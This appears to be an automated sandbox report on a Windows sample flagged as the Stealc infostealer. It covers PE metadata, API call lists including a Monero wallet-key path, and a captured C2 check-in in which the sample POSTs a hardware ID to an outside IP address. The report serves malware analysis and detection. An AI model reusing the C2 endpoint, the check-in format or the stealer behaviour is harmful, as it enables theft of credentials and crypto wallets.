SHA512:	9d92a6b5b19ffa9a4b4d82ff2a09347e7cbc5e26ce9e06c35cd9c4adb860f08b8025d6a1526efeaed0da375042fb6a2ca5143074f85d708c806c7f2212e3f077
SSDEEP:	49152:M/JfWg/LVoIxTfmkLXMlEdeZV5yPfPhx62Aoz:i/JhpLXiEgXUvhBLz
TLSH:	048533E2D8B50457CE1AC133A0B7CB19B85E62940E94C8B3273787FC4D9F6866F895B4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa73000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F0C44C288EAh
cmovo ebx, dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], cl
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	d73e5942fadc9128897c3237cdc7e160	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x284000	0x200	69339860efcd63c6f2c97603092e9d3a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xchtnbzm	0x4e2000	0x190000	0x190000	94af3e6945c1139c2d77068d064eb4d6	False	0.9942755126953124	data	7.9517025024735215	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hubelpjq	0x672000	0x1000	0x400	15f3171a095d112c534dbdf6c1882ab6	False	0.8046875	data	6.298703171925784	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x673000	0x3000	0x2200	33fa5567cfee6c87a44f955985633450	False	0.06525735294117647	DOS executable (COM)	0.6772589354142736	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T17:08:19.270990+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 17:08:18.043797016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 17:08:18.339405060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 17:08:18.339523077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 17:08:18.346466064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 17:08:18.351304054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 17:08:19.022883892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 17:08:19.023215055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 17:08:19.039110899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 17:08:19.043984890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 17:08:19.269064903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 17:08:19.270989895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 17:08:22.548217058 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	6636	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 17:08:18.346466064 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 17:08:19.022883892 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:08:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 17:08:19.039110899 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEGHJKJKKJDHIDHJKJD Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 34 33 36 39 44 30 35 37 38 45 36 34 31 32 30 30 32 31 34 35 34 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 2d 2d 0d 0a Data Ascii: ------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="hwid"94369D0578E64120021454------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="build"doma------AAEGHJKJKKJDHIDHJKJD--
Oct 7, 2024 17:08:19.269064903 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:08:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	11:08:14
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x610000
File size:	1'794'560 bytes
MD5 hash:	C1A82A310C9DC31947DFAE1E6136DC46
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1876333554.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1831952446.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00629860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01112320), ref: 006298A1
GetProcAddress.KERNEL32(74DD0000,01112338), ref: 006298BA
GetProcAddress.KERNEL32(74DD0000,01112350), ref: 006298D2
GetProcAddress.KERNEL32(74DD0000,01112380), ref: 006298EA
GetProcAddress.KERNEL32(74DD0000,01112428), ref: 00629903
GetProcAddress.KERNEL32(74DD0000,01118F48), ref: 0062991B
GetProcAddress.KERNEL32(74DD0000,01105750), ref: 00629933
GetProcAddress.KERNEL32(74DD0000,01105810), ref: 0062994C
GetProcAddress.KERNEL32(74DD0000,011123C8), ref: 00629964
GetProcAddress.KERNEL32(74DD0000,01112368), ref: 0062997C
GetProcAddress.KERNEL32(74DD0000,011123E0), ref: 00629995
GetProcAddress.KERNEL32(74DD0000,011123F8), ref: 006299AD
GetProcAddress.KERNEL32(74DD0000,01105930), ref: 006299C5
GetProcAddress.KERNEL32(74DD0000,01112410), ref: 006299DE
GetProcAddress.KERNEL32(74DD0000,011124B8), ref: 006299F6
GetProcAddress.KERNEL32(74DD0000,01105730), ref: 00629A0E
GetProcAddress.KERNEL32(74DD0000,011124E8), ref: 00629A27
GetProcAddress.KERNEL32(74DD0000,01112500), ref: 00629A3F
GetProcAddress.KERNEL32(74DD0000,01105A50), ref: 00629A57
GetProcAddress.KERNEL32(74DD0000,01112218), ref: 00629A70
GetProcAddress.KERNEL32(74DD0000,01105A90), ref: 00629A88
LoadLibraryA.KERNEL32(01112578,?,00626A00), ref: 00629A9A
LoadLibraryA.KERNEL32(01112530,?,00626A00), ref: 00629AAB
LoadLibraryA.KERNEL32(01112548,?,00626A00), ref: 00629ABD
LoadLibraryA.KERNEL32(01112518,?,00626A00), ref: 00629ACF
LoadLibraryA.KERNEL32(01112560,?,00626A00), ref: 00629AE0
GetProcAddress.KERNEL32(75A70000,01112590), ref: 00629B02
GetProcAddress.KERNEL32(75290000,011125A8), ref: 00629B23
GetProcAddress.KERNEL32(75290000,011125C0), ref: 00629B3B
GetProcAddress.KERNEL32(75BD0000,011125D8), ref: 00629B5D
GetProcAddress.KERNEL32(75450000,01105830), ref: 00629B7E
GetProcAddress.KERNEL32(76E90000,011190D8), ref: 00629B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00629BB6

Strings

NtQueryInformationProcess, xrefs: 00629BAA

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: a44feadb90cc505beede032d129dc9084d021e2142801c4348d2013099980228
Instruction ID: 0ee67c7b95884f27bd92ace295ffc75e8cc3b00db52c54b65b6ea23296e5b7b7
Opcode Fuzzy Hash: a44feadb90cc505beede032d129dc9084d021e2142801c4348d2013099980228
Instruction Fuzzy Hash: 39A108B5510344AFD74CEFA8EDD8A663BF9F78C303714872AA64583264D63DA841CF62

Function 006145C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0061460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0061479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006145E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00614657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00614770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006146B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00614734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006146D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006146CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00614683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00614729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00614638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0061474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00614678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006145C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00614622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006145DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0061466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006145F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00614617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00614643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00614662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00614713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0061477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0061462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0061473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006146AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006146C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0061471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006145D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0061475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00614765

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 01c46b4adba50ab7e0f71131175deb3fc65acaf370711d5d587f73e3dcc99e81
Instruction ID: c7f96c518c49d94672e25481ba516083bb3aaeb241560f1a2798b90a4f902921
Opcode Fuzzy Hash: 01c46b4adba50ab7e0f71131175deb3fc65acaf370711d5d587f73e3dcc99e81
Instruction Fuzzy Hash: D94141607E36047AF678BBA4AA6EFDD73679F72B04F917064E802532C0CBB0750045A6

Function 00614880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0062A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0062A7E6

Part of subcall function 006147B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00614839
Part of subcall function 006147B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00614849

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00614915
StrCmpCA.SHLWAPI(?,0111E858), ref: 0061493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00614ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00630DDB,00000000,?,?,00000000,?,",00000000,?,0111E848), ref: 00614DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00614E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00614E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00614E49
InternetCloseHandle.WININET(00000000), ref: 00614EAD
InternetCloseHandle.WININET(00000000), ref: 00614EC5
HttpOpenRequestA.WININET(00000000,0111E898,?,0111E2D8,00000000,00000000,00400100,00000000), ref: 00614B15

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

Part of subcall function 0062A920: lstrcpy.KERNEL32(00000000,?), ref: 0062A972
Part of subcall function 0062A920: lstrcat.KERNEL32(00000000), ref: 0062A982

InternetCloseHandle.WININET(00000000), ref: 00614ECF

Strings

", xrefs: 00614D33
------, xrefs: 00614C69
------, xrefs: 006149BD
", xrefs: 00614BF2
------, xrefs: 00614B28

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

